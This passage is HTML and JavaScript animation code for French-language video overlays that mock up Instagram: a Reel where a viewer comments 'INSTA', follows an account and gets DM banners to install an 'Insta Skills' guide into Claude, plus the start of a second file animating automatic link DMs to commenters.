    <svg width="16" height="12" viewBox="0 0 16 12" fill="#fff"><path d="M8 2.6c2.2 0 4.2.85 5.7 2.250l1.2-1.25C13.1 1.9 10.7.9 8 .9S2.9 1.9 1.1 3.6l1.2 1.250C3.8 3.45 5.8 2.6 8 2.6z"/><path d="M8 6.1c1.25 0 2.4.5 3.25 1.3l1.2-1.25A6.4 6.4 0 0 0 8 4.4c-1.7 0-3.3.65-4.45 1.750l1.2 1.25C5.6 6.6 6.75 6.1 8 6.1z"/><path d="M8 9.4l2-2.05a2.8 2.8 0 0 0-4 0z" transform="translate(0 1.4)"/></svg>
    <svg width="27" height="13" viewBox="0 0 27 13"><rect x=".5" y=".5" width="23" height="12" rx="3.6" fill="none" stroke="rgba(255,255,255,.45)"/><rect x="2" y="2" width="18" height="9" rx="2.2" fill="#fff"/><path d="M25 4.5v4c.8-.3 1.3-1.1 1.3-2s-.5-1.7-1.3-2z" fill="rgba(255,255,255,.45)"/></svg>
  </div></div>

  <div id="rtitle" class="tsh">Reels<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" style="margin-top:3px"><path d="M6 9l6 6 6-6"/></svg></div>
  <div id="rcam" class="sh"><svg width="26" height="26" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="1.9" stroke-linejoin="round"><path d="M3 8.6c0-1.2 1-2.1 2.1-2.1h2.3l1.4-2h6.4l1.4 2h2.3c1.2 0 2.1 1 2.1 2.1v9.3c0 1.2-1 2.1-2.1 2.1H5.1C4 20 3 19 3 17.9z"/><circle cx="12" cy="12.8" r="3.7"/></svg></div>

  <div class="rail">
    <div class="it sh rit" style="top:458px">
      <svg width="28" height="28" viewBox="0 0 24 24"><path fill="#fff" d="M16.792 3.904A4.989 4.989 0 0 1 21.5 9.122c0 3.072-2.652 4.959-5.197 7.222-2.512 2.243-3.865 3.469-4.303 3.752-.477-.309-2.143-1.823-4.303-3.752C5.141 14.072 2.5 12.167 2.5 9.122a4.989 4.989 0 0 1 4.708-5.218 4.21 4.21 0 0 1 3.675 1.941c.84 1.175.98 1.763 1.120 1.763s.278-.588 1.11-1.766a4.17 4.17 0 0 1 3.679-1.938m0-2a6.040 6.040 0 0 0-4.797 2.127 6.052 6.052 0 0 0-4.787-2.127A6.985 6.985 0 0 0 .5 9.122c0 3.610 2.550 5.827 5.015 7.970.283.246.569.494.853.747l1.027.918a44.998 44.998 0 0 0 3.518 3.018 2 2 0 0 0 2.174 0 45.263 45.263 0 0 0 3.626-3.115l.922-.824c.293-.26.59-.519.885-.774 2.334-2.025 4.98-4.320 4.98-7.940a6.985 6.985 0 0 0-6.708-7.218Z"/></svg>
      <div class="ct tsh"><span>18,7&nbsp;k</span></div>
    </div>
    <div class="it sh rit" id="icom" style="top:518px">
      <svg id="comsvg" width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2" stroke-linejoin="round"><path d="M20.656 17.008a9.993 9.993 0 1 0-3.59 3.615L22 22Z"/></svg>
      <div class="ct tsh"><span id="cc0">2&nbsp;431</span><span id="cc1">2&nbsp;432</span></div>
    </div>
    <div class="it sh rit" style="top:578px">
      <svg width="27" height="27" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2" stroke-linejoin="round"><line x1="22" x2="9.218" y1="3" y2="10.083"/><polygon points="11.698 20.334 22 3.001 2 3.001 9.218 10.084 11.698 20.334"/></svg>
      <div class="ct tsh"><span>4&nbsp;087</span></div>
    </div>
    <div class="it sh rit" style="top:634px">
      <svg width="24" height="24" viewBox="0 0 24 24" fill="#fff"><circle cx="5" cy="12" r="1.7"/><circle cx="12" cy="12" r="1.7"/><circle cx="19" cy="12" r="1.7"/></svg>
    </div>
  </div>
  <div id="audio"><img src="../assets/images/avatar.png"></div>

  <div id="info" class="tsh">
    <div class="who"><img src="../assets/images/avatar.png"><b>toncompte</b>
      <div id="follow"><div class="fb"></div><div class="fg"></div>
        <span id="fl0">Suivre</span>
        <span id="fl1"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3.2" stroke-linecap="round" stroke-linejoin="round"><path d="M4.5 12.5l5 5 10-11"/></svg>Abonné(e)</span>
      </div></div>
    <div id="cap">Tes skills Insta pour Claude, offerts<i>… plus</i></div>
    <div id="music"><svg width="12" height="12" viewBox="0 0 24 24" fill="#fff"><path d="M9 3v11.6A3.5 3.5 0 1 0 11 18V8h8V3z"/></svg><span>toncompte · Son original</span></div>
  </div>
  <div id="prog"><i id="progi"></i></div>

  <div id="dim"></div>
  <div id="sheet">
    <div id="list"></div>
    <div id="handle"></div>
    <div id="stitle">Commentaires</div>
    <div id="splane"><svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="#f5f5f5" stroke-width="2" stroke-linejoin="round"><line x1="22" x2="9.218" y1="3" y2="10.083"/><polygon points="11.698 20.334 22 3.001 2 3.001 9.218 10.084 11.698 20.334"/></svg></div>
    <div id="hair"></div>
    <div id="composer">
      <div class="hair"></div>
      <div id="cav2"></div>
      <div id="field"><div id="ph">Ajouter un commentaire…</div><div id="ftext"><span id="typed"></span><i id="caret"></i></div><div id="pub">Publier</div></div>
    </div>
  </div>

  <div class="ban" id="ban1" style="height:68px">
    <div class="av"><img src="../assets/images/avatar.png"><div class="badge"><img src="../assets/logos/instagram.png"></div></div>
    <div class="tx" style="width:294px"><div class="t1">toncompte<i>maintenant</i></div><div class="t2" id="b1t2">Voici ton guide gratuit Insta Skills <span class="emo">🎁</span></div></div>
  </div>
  <div class="ban" id="ban2" style="z-index:41">
    <div class="av"><img src="../assets/images/avatar.png"><div class="badge"><img src="../assets/logos/instagram.png"></div></div>
    <div class="tx" style="width:240px"><div class="t1">toncompte<i>maintenant</i></div><div class="t2" id="b2t2">Tes skills sont prêts :<br><b>insta-skills</b>&nbsp;<svg style="display:inline-block;vertical-align:-2px" width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="#3ccf6e" stroke-width="3.2" stroke-linecap="round" stroke-linejoin="round"><path d="M4.5 12.5l5 5 10-11"/></svg></div></div>
    <div class="thumb"><img src="../assets/logos/claude.png"></div>
    <div id="pill"><img src="../assets/logos/claude.png"><div class="lab" id="plab"><span id="pl0">Installer dans Claude</span><span id="pl1"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3.2" stroke-linecap="round" stroke-linejoin="round"><path d="M4.5 12.5l5 5 10-11"/></svg>Installé dans Claude</span></div></div>
  </div>

  <div class="rip" id="rip0"></div><div class="rip" id="rip1"></div>
  <div id="dot"></div>
</div>
<script>
const $ = id => document.getElementById(id);
const clamp = (v, a = 0, b = 1) => Math.min(b, Math.max(a, v));
const seg = (t, a, b) => clamp((t - a) / (b - a));
// critically damped spring from rest (never overshoots)
const S = (x, w = 14) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
// same spring with a launch velocity k in [0,1]: still never overshoots
const SV = (x, w = 14, k = .6) => x <= 0 ? 0 : 1 - (1 + w * (1 - k) * x) * Math.exp(-w * x);
const out = p => 1 - Math.pow(1 - p, 3), io = p => p < .5 ? 4 * p * p * p : 1 - Math.pow(-2 * p + 2, 3) / 2, inn = p => p * p * p;
const lerp = (a, b, p) => a + (b - a) * p;
const HEART_O = '<svg width="14" height="14" viewBox="0 0 24 24"><path fill="#a8a8a8" d="M16.792 3.904A4.989 4.989 0 0 1 21.5 9.122c0 3.072-2.652 4.959-5.197 7.222-2.512 2.243-3.865 3.469-4.303 3.752-.477-.309-2.143-1.823-4.303-3.752C5.141 14.072 2.5 12.167 2.5 9.122a4.989 4.989 0 0 1 4.708-5.218 4.21 4.21 0 0 1 3.675 1.941c.84 1.175.98 1.763 1.12 1.763s.278-.588 1.11-1.766a4.17 4.17 0 0 1 3.679-1.938m0-2a6.04 6.04 0 0 0-4.797 2.127 6.052 6.052 0 0 0-4.787-2.127A6.985 6.985 0 0 0 .5 9.122c0 3.61 2.55 5.827 5.015 7.97.283.246.569.494.853.747l1.027.918a44.998 44.998 0 0 0 3.518 3.018 2 2 0 0 0 2.174 0 45.263 45.263 0 0 0 3.626-3.115l.922-.824c.293-.26.59-.519.885-.774 2.334-2.025 4.98-4.32 4.98-7.94a6.985 6.985 0 0 0-6.708-7.218Z"/></svg>';
const HEART_R = '<svg class="hred" width="14" height="14" viewBox="0 0 24 24"><path fill="#ff3040" d="M12 21.6c-.4 0-.8-.1-1.1-.4-.9-.6-2.300-1.800-3.900-3.200C4.300 15.700 1.500 13.300 1.500 9.100 1.500 5.500 4.300 2.900 7.300 2.900c1.900 0 3.600.900 4.700 2.400 1.100-1.500 2.800-2.400 4.700-2.400 3 0 5.800 2.600 5.800 6.200 0 4.200-2.800 6.600-5.500 8.900-1.600 1.400-3 2.600-3.900 3.200-.3.300-.7.400-1.100.400z"/></svg>';
const DEF_AV = '<svg viewBox="0 0 32 32"><circle cx="16" cy="16" r="16" fill="#c9c9c9"/><circle cx="16" cy="12.6" r="5.6" fill="#f2f2f2"/><path d="M5.6 27.6c1.9-4.9 6-7.5 10.4-7.5s8.5 2.6 10.4 7.500A15.9 15.9 0 0 1 16 32a15.9 15.9 0 0 1-10.4-4.4z" fill="#f2f2f2"/></svg>';

// ---- event times, τ = seconds from the overlay start (short 27.84). Words: Commente .23, Insta .60, t'envoie 1.16,
// guide 1.57, gratuit 1.77, DM 2.40, condition 2.78, abonné 3.42, accès 4.16, directement 4.46, skills 5.17, pouvoir 5.83,
// installer 6.28, Claude 6.93. Nothing is drawn before T_IN (the camera card is still growing to full screen).
const T_IN = .62, TAP_COM = .78, T_SHEET = .82, TAP_FIELD = 1.04, TYPE = [1.12, 1.19, 1.26, 1.33, 1.40], T_PUB_ON = 1.40;
const TAP_PUB = 1.60, T_POST = 1.64, T_LIKE = 1.80, T_SHEET_OUT = 2.00, T_BACK = 2.18;
const T_BAN1 = 2.40, TAP_FOL = 3.34, T_BAN2 = 4.16, T_PILL = 5.17, TAP_PILL = 6.24, T_OUT = 6.62;

const OLD = [
  ['lucas.dev', '2 min', 'INSTA', 'linear-gradient(135deg,#2bb673,#0b6e4f)', 'L', '31'],
  ['sarah.creates', '3 min', 'INSTA <span class="emo">🙏</span>', 'linear-gradient(135deg,#ff7a59,#c2185b)', 'S', '22'],
  ['tom.codes', '5 min', 'INSTA, merci pour le partage', 'linear-gradient(135deg,#5b4bdb,#1b9cff)', 'T', '17'],
];
const mkRow = (name, age, text, av, likes, hl) => {
  const r = document.createElement('div'); r.className = 'crow';
  r.innerHTML = (hl ? '<div class="hl"></div>' : '') + `<div class="cav"${av.bg ? ` style="background:${av.bg}"` : ''}>${av.html}</div>
    <div class="cbody"><div class="cname"><b>${name}</b><span>${age}</span></div><div class="ctext">${text}</div><div class="creply">Répondre</div></div>
    <div class="clike">${HEART_O}${hl ? HEART_R : ''}<span>${likes}</span></div>`;
  $('list').appendChild(r); return r;
};
const LIST_TOP = 54, ROW_H = 62;
const newRow = mkRow('toi', "à l'instant", '<b style="font-weight:600">INSTA</b>', { html: DEF_AV }, '', true);
const oldRows = OLD.map(([n, a, tx, bg, ini, l]) => mkRow(n, a, tx, { bg, html: ini }, l));
$('cav2').innerHTML = DEF_AV;
const letters = 'INSTA'.split('').map(c => { const s = document.createElement('span'); s.textContent = c; $('typed').appendChild(s); return s; });
const railIt = [...document.querySelectorAll('.rit')], infoIt = [...$('info').children];

// follow button widths (Suivre -> Abonné(e)) and banner heights
const FW0 = 60, FW1 = 98, B2H = 88, B2H_PILL = 132, PILL_TOP = 88;

// the viewer's finger: [t0, t1, x, y] eased moves (CSS px); a move with t0 = t1 is a jump while the finger is hidden
const COM = [358, 532], FIELD = [170, 681], PUB = [340, 681], FOL = [184, 599], PILL = [272, 36 + PILL_TOP + 17];
const MOVES = [[0, 0, 322, 640], [.64, .76, COM[0], COM[1]], [.88, 1.02, FIELD[0], FIELD[1]], [1.44, 1.58, PUB[0], PUB[1]],
  [1.68, 1.95, 310, 760], [2.6, 2.6, 250, 720], [2.86, 3.18, FOL[0], FOL[1]], [3.46, 3.80, 250, 720],
  [5.4, 5.4, 392, 290], [5.62, 5.98, PILL[0], PILL[1]], [6.34, 6.60, 392, 300]];
const TAPS = [TAP_COM, TAP_FIELD, TAP_PUB, TAP_FOL, TAP_PILL];
const VIS = [[.62, .70, 1.72, 1.92], [2.86, 2.98, 3.48, 3.70], [5.62, 5.74, 6.36, 6.56]];
function curAt(t) {
  let x = MOVES[0][2], y = MOVES[0][3];
  for (const [a, b, nx, ny] of MOVES) { if (t < a) break; const p = b > a ? io(seg(t, a, b)) : 1; x = lerp(x, nx, p); y = lerp(y, ny, p); }
  return [x, y];
}
const pressAt = (t, a) => { const d = t - a; return d > -.05 && d < .09 ? clamp(1 - Math.abs(d - .015) / .065) : 0; };
const show = (el, v) => { el.style.display = v > .001 ? '' : 'none'; };

window.setT = function (t) {
  const u = t - T_IN; // time since the chrome starts
  // exit: the chrome leaves the way it came (rail to the right, info down, top up)
  const xo = inn(seg(t, T_OUT, T_OUT + .34)), xg = seg(t, T_OUT + .04, T_OUT + .40);
  // the rail, the info and the bottom gradient fade under the opening sheet, and come back once it has gone down
  const hc = io(seg(t, T_SHEET + .02, T_SHEET + .22)) * (1 - io(seg(t, T_BACK, T_BACK + .30)));
  // gradients
  const g = seg(t, T_IN, T_IN + .26) * (1 - xg);
  $('gtop').style.opacity = g; $('gbot').style.opacity = g * (1 - .6 * hc);
  // top: status + Reels title + camera drop in
  [['status', 0], ['rtitle', .04], ['rcam', .08]].forEach(([id, d]) => {
    const q = SV(u - d, 16, .6), el = $(id);
    el.style.transform = `translateY(${-26 * (1 - q) - 30 * xo}px)`; el.style.opacity = clamp(q * 1.4) * (1 - xo);
  });
  // rail: icons slide in from the right one by one, audio square last
  railIt.forEach((el, i) => {
    const q = SV(u - (.03 + i * .05), 15, .65), o = inn(seg(t, T_OUT + i * .03, T_OUT + .3 + i * .03));
    el.style.transform = `translateX(${60 * (1 - q) + 80 * o}px)`; el.style.opacity = clamp(q * 1.5) * (1 - o) * (1 - hc);
  });
  { const q = SV(u - .24, 15, .65); $('audio').style.transform = `translateX(${60 * (1 - q) + 80 * xo}px)`; $('audio').style.opacity = clamp(q * 1.5) * (1 - xo) * (1 - hc); }
  // info block rises row by row
  infoIt.forEach((el, i) => {
    const q = SV(u - (.10 + i * .06), 15, .6);
    el.style.transform = `translateY(${24 * (1 - q) + 40 * xo}px)`; el.style.opacity = clamp(q * 1.4) * (1 - xo) * (1 - hc);
  });
  $('prog').style.opacity = seg(t, T_IN + .1, T_IN + .3) * (1 - xo) * (1 - hc);
  $('progi').style.width = (38 + 3.2 * t) + '%';

  // comment icon press + the count rolls when the comment is posted
  $('comsvg').style.transform = `scale(${1 - .18 * pressAt(t, TAP_COM)})`;
  const roll = out(seg(t, T_POST + .02, T_POST + .16));
  $('cc0').style.transform = `translateY(${-17 * roll}px)`; $('cc0').style.opacity = 1 - roll;
  $('cc1').style.transform = `translateY(${17 * (1 - roll)}px)`; $('cc1').style.opacity = roll;

  // follow: tapped on « abonné », Suivre turns into a grey Abonné(e) with a check, the button widens
  const fp = pressAt(t, TAP_FOL), fq = S(t - (TAP_FOL + .04), 20);
  $('follow').style.width = lerp(FW0, FW1, fq) + 'px';
  $('follow').style.transform = `scale(${1 - .07 * fp})`;
  $('follow').querySelector('.fb').style.opacity = 1 - fq;
  $('follow').querySelector('.fg').style.opacity = fq;
  $('fl0').style.opacity = clamp(1 - fq * 2.2); $('fl0').style.transform = `translateY(${-5 * fq}px)`;
  $('fl1').style.opacity = clamp(fq * 1.6 - .4); $('fl1').style.transform = `translateY(${5 * (1 - fq)}px)`;

  // sheet slides up over the bottom of the reel (the face stays in the clear), an 8 % dim on the reel
  const ps = SV(t - T_SHEET, 15, .6) * (1 - io(seg(t, T_SHEET_OUT, T_SHEET_OUT + .36)));
  $('sheet').style.transform = `translateY(${(1 - ps) * 270}px)`; show($('sheet'), ps);
  $('dim').style.opacity = .08 * ps; show($('dim'), ps);
  const hq = S(t - (T_SHEET + .06), 18);
  $('stitle').style.opacity = hq; $('splane').style.opacity = hq;

  // new comment: the list slides down and the viewer's row fills the slot, then the heart turns red on « gratuit »
  const pn = SV(t - T_POST, 16, .5);
  oldRows.forEach((r, i) => {
    const q = S(t - (T_SHEET + .08 + i * .04), 18);
    r.style.top = (LIST_TOP + (i + pn) * ROW_H + (1 - q) * 14) + 'px'; r.style.opacity = q;
  });
  newRow.style.display = t >= T_POST ? '' : 'none';
  newRow.style.top = LIST_TOP + 'px'; newRow.style.opacity = clamp((pn - .08) / .45);
  newRow.style.clipPath = `inset(0 0 ${(1 - pn) * ROW_H}px 0)`;
  newRow.style.transform = `scale(${.97 + .03 * pn})`; newRow.style.transformOrigin = '20% 0%';
  newRow.querySelector('.hl').style.opacity = clamp(pn * 2);
  const lk = S(t - T_LIKE, 22), hr = newRow.querySelector('.hred');
  hr.style.opacity = lk; hr.style.transform = `scale(${.78 + .22 * lk})`;
  newRow.querySelector('.clike span').textContent = t >= T_LIKE ? '1' : '';

  // field: tapped, « INSTA » typed letter by letter, Publier lights up, cleared after the post
  const focused = t >= TAP_FIELD + .02 && t < TAP_PUB + .02, cleared = t >= TAP_PUB + .03;
  let n = 0;
  letters.forEach((s, i) => {
    const on = t >= TYPE[i] && !cleared; if (on) n++;
    const q = S(t - TYPE[i], 45);
    s.style.display = on ? '' : 'none'; s.style.transform = `translateY(${(1 - q) * 3}px)`; s.style.opacity = .3 + .7 * q;
  });
  $('ph').style.display = n ? 'none' : '';
  const typing = t >= TYPE[0] && t < TYPE[4] + .12;
  $('caret').style.opacity = focused && (typing || Math.floor((t - TAP_FIELD) * 2.4) % 2 === 0) ? 1 : 0;
  $('ph').style.left = (focused ? 18 : 15) + 'px';
  $('field').style.borderColor = focused ? '#555' : '#3c3c3c';
  const pon = cleared ? 0 : SV(t - T_PUB_ON, 26, .8), pp = pressAt(t, TAP_PUB);
  $('pub').style.opacity = (.35 + .65 * pon) * (1 - .45 * pp);
  $('pub').style.transform = `scale(${1 - .08 * pp})`;

  // DM banners: the first drops on « DM »; the second drops on « accès » and the first slides behind it (the iOS stack),
  // its « Installer dans Claude » action opens on « skills » and is tapped on « installer »; both leave up at the end
  const bo = inn(seg(t, T_OUT + .06, T_OUT + .40));
  const b1 = SV(t - T_BAN1, 13, .6), b2 = SV(t - T_BAN2, 13, .6), pq = S(t - T_PILL, 13);
  const b1gone = io(seg(t, T_PILL - .05, T_PILL + .22));
  show($('ban1'), b1 * (1 - bo) * (1 - b1gone));
  $('ban1').style.transform = `translateY(${-120 * (1 - b1) + 30 * b2 - 220 * bo}px) scale(${.97 + .03 * b1 - .06 * b2})`;
  $('ban1').style.opacity = clamp(b1 * 3) * (1 - bo) * (1 - b1gone);
  $('ban1').style.filter = `brightness(${1 - .3 * b2})`;
  show($('ban2'), b2 * (1 - bo));
  $('ban2').style.height = lerp(B2H, B2H_PILL, pq) + 'px';
  $('ban2').style.transform = `translateY(${-140 * (1 - b2) - 240 * bo}px) scale(${.97 + .03 * b2})`; $('ban2').style.opacity = clamp(b2 * 3) * (1 - bo);
  const pip = pressAt(t, TAP_PILL), pdone = S(t - (TAP_PILL + .05), 20);
  $('pill').style.top = (PILL_TOP + 8 * (1 - pq)) + 'px'; $('pill').style.opacity = clamp(pq * 1.3);
  $('pill').style.transform = `scale(${1 - .06 * pip})`;
  $('pill').style.background = `rgb(${lerp(37, 52, pdone)},${lerp(142, 199, pdone)},${lerp(255, 89, pdone)})`;
  $('pl0').style.opacity = clamp(1 - pdone * 2.2); $('pl0').style.transform = `translateY(${-5 * pdone}px)`;
  $('pl1').style.opacity = clamp(pdone * 1.6 - .4); $('pl1').style.transform = `translateY(${5 * (1 - pdone)}px)`;

  // finger dot + ripples
  const [cx, cy] = curAt(t);
  let press = 0; for (const a of TAPS) press = Math.max(press, pressAt(t, a));
  let vis = 0; for (const [a, b, c, d] of VIS) vis = Math.max(vis, seg(t, a, b) - seg(t, c, d));
  show($('dot'), vis);
  $('dot').style.transform = `translate(${cx}px,${cy}px) scale(${1 - .16 * press})`;
  $('dot').style.opacity = vis; $('dot').style.background = `rgba(255,255,255,${.32 + .3 * press})`;
  const rips = TAPS.filter(a => t >= a && t < a + .42).slice(-2);
  [0, 1].forEach(i => {
    const el = $('rip' + i), a = rips[i];
    if (a === undefined) { el.style.display = 'none'; return; }
    const p = out((t - a) / .42), [rx, ry] = curAt(a);
    el.style.display = ''; el.style.transform = `translate(${rx}px,${ry}px) scale(${.45 + .85 * p})`; el.style.opacity = .85 * (1 - p);
  });

  // nothing at all before the chrome starts
  $('app').style.visibility = t < T_IN ? 'hidden' : 'visible';
  return true;
};
window.setT(0);
</script></body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Skill 3 of 3 (short 11.28 to 14.45, 3.17 s): « et un autre envoie le lien en DM à chaque commentaire, de manière
     automatique ». Instagram dark DM thread springs in from the right, a comment banner drops in, the auto DM (text +
     link card) goes out and flies to the commenter, more comments stack and each gets its DM, a counter ticks 1 to 48,
     an « Automatique » pill settles, then everything whips out left. Transparent 1080x1920, drawn in x 60-1020,
     y 140-1090 (1090-1220 kept empty for the captions). window.setT(t): every state is a pure function of t. -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; -webkit-font-smoothing: antialiased;
    font-family: "Inter", -apple-system, "SF Pro Text", "Helvetica Neue", sans-serif; color: #14161B; }
  svg { display: block; }
  .emo { font-family: "Apple Color Emoji", sans-serif; font-size: .92em; }
  #root { position: absolute; left: 0; top: 0; width: 1080px; height: 1920px; }

  /* ---- the DM panel (Instagram dark) */
  #panel { position: absolute; left: 90px; top: 326px; width: 900px; height: 640px; border-radius: 58px; background: #000; overflow: hidden;
    box-shadow: 0 34px 64px rgba(20,22,27,.30), 0 14px 28px rgba(20,22,27,.20), 0 3px 8px rgba(20,22,27,.12); color: #F5F5F5; }
  #head { position: absolute; left: 0; top: 0; width: 900px; height: 118px; }
  #back { position: absolute; left: 22px; top: 37px; }
  #hav { position: absolute; left: 84px; top: 22px; width: 76px; height: 76px; border-radius: 50%; background: #CFCFD4; overflow: hidden; }
  #hname { position: absolute; left: 180px; top: 18px; font-size: 38px; line-height: 44px; font-weight: 700; letter-spacing: -.4px; display: flex; align-items: center; gap: 8px; }
  #hsub { position: absolute; left: 180px; top: 62px; font-size: 34px; line-height: 40px; color: #A8A8A8; letter-spacing: -.3px; }
  #hicons { position: absolute; right: 30px; top: 35px; display: flex; gap: 38px; }
  #hair { position: absolute; left: 0; top: 118px; width: 900px; height: 1.5px; background: rgba(255,255,255,.13); }
  #stamp { position: absolute; left: 0; top: 146px; width: 900px; text-align: center; font-size: 34px; line-height: 40px; color: #A8A8A8; font-weight: 500; letter-spacing: -.2px; }
  #b1 { position: absolute; right: 24px; top: 0; height: 92px; padding: 0 34px; border-radius: 46px; background: #3797F0; color: #fff;
    font-size: 39px; font-weight: 500; letter-spacing: -.4px; display: flex; align-items: center; white-space: nowrap; transform-origin: 100% 100%; }
  #card { position: absolute; right: 24px; top: 0; width: 640px; height: 164px; border-radius: 40px; background: #262626; transform-origin: 100% 100%; overflow: hidden; }
  #card img { position: absolute; left: 18px; top: 18px; width: 128px; height: 128px; border-radius: 26px; }
  #ctitle { position: absolute; left: 172px; top: 20px; width: 440px; font-size: 36px; line-height: 43px; font-weight: 700; letter-spacing: -.4px; }
  #cdom { position: absolute; left: 172px; top: 108px; font-size: 34px; line-height: 40px; color: #A8A8A8; letter-spacing: -.2px; display: flex; align-items: center; gap: 10px; }
  .rc { position: absolute; right: 30px; top: 0; font-size: 34px; line-height: 40px; color: #A8A8A8; font-weight: 500; letter-spacing: -.2px; }
  #comp { position: absolute; left: 22px; top: 552px; width: 856px; height: 72px; border-radius: 36px; background: #262626; }
  #cam { position: absolute; left: 6px; top: 6px; width: 60px; height: 60px; border-radius: 50%; background: #3797F0; display: flex; align-items: center; justify-content: center; }
  #ph { position: absolute; left: 86px; top: 0; height: 72px; display: flex; align-items: center; font-size: 36px; color: #A8A8A8; letter-spacing: -.3px; }
  #cicons { position: absolute; right: 24px; top: 17px; display: flex; gap: 30px; }

  /* ---- comment banners (iOS light), clipped at y 140 so they drop in from nowhere */
  #nclip { position: absolute; left: 0; top: 140px; width: 1080px; height: 196px; overflow: hidden; }
  .ban { position: absolute; left: 90px; top: 6px; width: 900px; height: 132px; border-radius: 40px; background: #FCFCFC; transform-origin: 50% 0%;
    box-shadow: 0 18px 40px rgba(20,22,27,.16), 0 4px 10px rgba(20,22,27,.08); }
  .ban .in { position: absolute; inset: 0; }
  .ban .av { position: absolute; left: 24px; top: 22px; width: 88px; height: 88px; border-radius: 50%; background: #CFCFD4; overflow: hidden;
    display: flex; align-items: center; justify-content: center; font-size: 34px; font-weight: 800; color: #fff; letter-spacing: -.5px; }
  .ban .badge { position: absolute; left: 82px; top: 78px; width: 40px; height: 40px; border-radius: 11px; border: 3px solid #FCFCFC; overflow: hidden; }
  .ban .badge img { width: 100%; height: 100%; }
  .ban .l1 { position: absolute; left: 140px; top: 20px; right: 30px; font-size: 34px; line-height: 42px; font-weight: 700; letter-spacing: -.3px; }
  .ban .l1 span { position: absolute; right: 0; top: 0; font-weight: 400; color: #8A8A8E; }
  .ban .l2 { position: absolute; left: 140px; top: 66px; font-size: 36px; line-height: 44px; letter-spacing: -.35px; white-space: nowrap; color: #2A2C31; }
  .ban .l2 b { font-weight: 700; color: #14161B; }
  .chip { position: absolute; right: 26px; top: 110px; height: 56px; padding: 0 24px 0 18px; border-radius: 28px; background: #258EFF; color: #fff;
    display: flex; align-items: center; gap: 10px; font-size: 34px; font-weight: 600; letter-spacing: -.3px; white-space: nowrap; transform-origin: 100% 50%;
    box-shadow: 0 10px 22px rgba(37,142,255,.30), 0 3px 6px rgba(20,22,27,.12); }

  /* ---- paper plane, counter, Automatique pill */
  #plane { position: absolute; left: 0; top: 0; width: 84px; height: 84px; margin: -42px 0 0 -42px; filter: drop-shadow(0 6px 14px rgba(37,142,255,.45)); }
  #counter { position: absolute; left: 90px; top: 942px; height: 92px; padding: 0 32px 0 28px; border-radius: 30px; background: #fff; display: flex; align-items: center; gap: 16px;
    box-shadow: 0 16px 28px rgba(20,22,27,.22), 0 5px 12px rgba(20,22,27,.12); font-family: "Bricolage Grotesque", sans-serif; font-weight: 800; }
  #counter .lab { font-size: 40px; letter-spacing: -.6px; color: #14161B; }
  #num { font-size: 58px; letter-spacing: -1px; color: #258EFF; width: 74px; text-align: left; font-variant-numeric: tabular-nums; }
  #auto { position: absolute; right: 90px; top: 942px; height: 92px; padding: 0 40px 0 30px; border-radius: 46px; background: #258EFF; color: #fff; display: flex; align-items: center; gap: 14px; overflow: hidden;
    box-shadow: 0 16px 28px rgba(37,142,255,.34), 0 5px 12px rgba(20,22,27,.16); font-family: "Bricolage Grotesque", sans-serif; font-weight: 800; font-size: 46px; letter-spacing: -.8px; }
  #sheen { position: absolute; top: 0; left: 0; width: 160px; height: 92px; background: linear-gradient(100deg, rgba(255,255,255,0), rgba(255,255,255,.34), rgba(255,255,255,0)); }
</style></head>
<body><div id="root">

  <div id="panel">
    <div id="head">
      <svg id="back" width="44" height="44" viewBox="0 0 24 24" fill="none" stroke="#F5F5F5" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round"><path d="M15 4l-8 8 8 8"/></svg>
      <div id="hav"><svg width="76" height="76" viewBox="0 0 88 88"><circle cx="44" cy="34" r="16" fill="#fff"/><path d="M13 82c3-17 16-26 31-26s28 9 31 26z" fill="#fff"/></svg></div>
      <div id="hname">léa.crea</div>
      <div id="hsub">Actif maintenant</div>
      <div id="hicons">
        <svg width="48" height="48" viewBox="0 0 24 24" fill="none" stroke="#F5F5F5" stroke-width="1.8" stroke-linejoin="round"><path d="M18.23 15.27l-2.54-.29a1.99 1.99 0 0 0-1.64.57l-1.84 1.84a15.05 15.05 0 0 1-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52A2 2 0 0 0 5.77 3H4.04C2.91 3 1.97 3.94 2.04 5.07 2.57 13.61 9.4 20.43 17.93 20.96c1.13.07 2.07-.87 2.07-2v-1.73a1.98 1.98 0 0 0-1.77-1.96z"/></svg>
        <svg width="50" height="48" viewBox="0 0 25 24" fill="none" stroke="#F5F5F5" stroke-width="1.8" stroke-linejoin="round"><rect x="1.8" y="5.2" width="14.4" height="13.6" rx="3.4"/><path d="M16.2 10.2l5.2-3.4c.6-.4 1.4 0 1.4.8v8.8c0 .8-.8 1.2-1.4.8l-5.2-3.4z"/></svg>
      </div>
    </div>
    <div id="hair"></div>
    <div id="stamp">Aujourd'hui 11:28</div>
    <div id="b1">Voici ton guide Insta Skills&nbsp;<span class="emo">🎁</span></div>
    <div id="card"><img src="../assets/logos/claude.png">
      <div id="ctitle">insta-skills, le guide gratuit</div>
      <div id="cdom"><svg width="30" height="30" viewBox="0 0 24 24" fill="none" stroke="#A8A8A8" stroke-width="2.2" stroke-linecap="round"><path d="M10 14a5 5 0 0 0 7.07 0l3-3a5 5 0 0 0-7.07-7.07l-1.2 1.2"/><path d="M14 10a5 5 0 0 0-7.07 0l-3 3a5 5 0 0 0 7.07 7.07l1.2-1.2"/></svg>mlv.sh</div>
    </div>
    <div class="rc" id="rsent">Envoyé</div>
    <div class="rc" id="rseen">Vu</div>
    <div id="comp">
